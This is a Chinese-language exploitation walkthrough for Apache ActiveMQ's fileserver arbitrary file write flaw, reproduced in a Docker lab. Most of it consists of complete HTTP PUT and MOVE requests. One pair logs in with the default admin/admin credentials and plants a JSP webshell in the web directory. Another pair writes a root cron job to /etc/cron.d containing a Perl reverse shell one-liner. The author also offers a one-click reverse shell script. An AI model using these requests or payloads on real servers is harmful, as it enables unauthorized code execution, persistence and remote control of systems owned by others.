简述:ActiveMQ的fileserver支持写入文件(但是不支持解析jsp),同时也支持移动文件。所以我们只需要先上传到服务器,然后再移动到可以解析的地方即可造成任意文件写入漏洞。我们可以利用这个漏洞来上传webshell或者上传定时任务文件。
漏洞复现
启动环境
docker compose up -d
# 访问http://ip:8186
写入webshell
条件: 必须要登陆
弱口令登录 (admin/admin)
1.查看ACTIVEMQ的绝对路径
http:/192.168.2.103:8186/admin/test/systemProperties.jsp # 使用admin/admin登录
获取到绝对路径为/opt/activemq
2.发送数据包上传webshell
PUT /fileserver/2.txt HTTP/1.1
Host: 192.168.2.103:8161
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.6,zh-CN;q=0.5
If-Modified-Since: Fri, 13 Feb 2015 18:05:11 GMT
Connection: close
Content-Length: 6467
webshell
3.移动webshell到web目录下的api文件夹中
MOVE /fileserver/2.txt HTTP/1.1
Destination:file:///opt/activemq/webapps/api/test.jsp
Host: 192.168.2.103:8161
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.6,zh-CN;q=0.5
If-Modified-Since: Fri, 13 Feb 2015 18:05:11 GMT
Connection: close
Content-Length: 0
发送上面两个数据包,如果响应码均为204即为上传成功。可以访问网站根目录下的api路径查看。
4.连接webshell
直接连接是会报错的,因为这个木马需要登录之后才能访问,所以我们要将请求包中用来鉴权的参数加入到连接器中,这里用蚁剑做例子。
成功连接。
写入Cron文件
条件:Activemq程序必须是root权限运行的,否则无法写入。
1.上传配置文件
PUT /fileserver/test.txt HTTP/1.1
Host: 192.168.2.103:8161
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.6,zh-CN;q=0.5
Cookie: JSESSIONID=134ekt28ma5xp9c4elldm3mzi
Connection: close
Content-Length: 248
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="ip";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
2.移动到定时目录下并改名
MOVE /fileserver/test.txt HTTP/1.1
Destination:file:///etc/cron.d/root
Host: 192.168.2.103:8161
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.6,zh-CN;q=0.5
Cookie: JSESSIONID=134ekt28ma5xp9c4elldm3mzi
Connection: close
Content-Length: 0
3.服务器进行监听,等待定时任务生效
成功接收shell。笔者已将反弹shell的操作写成了脚本可以一键执行,需要的可以加群联系。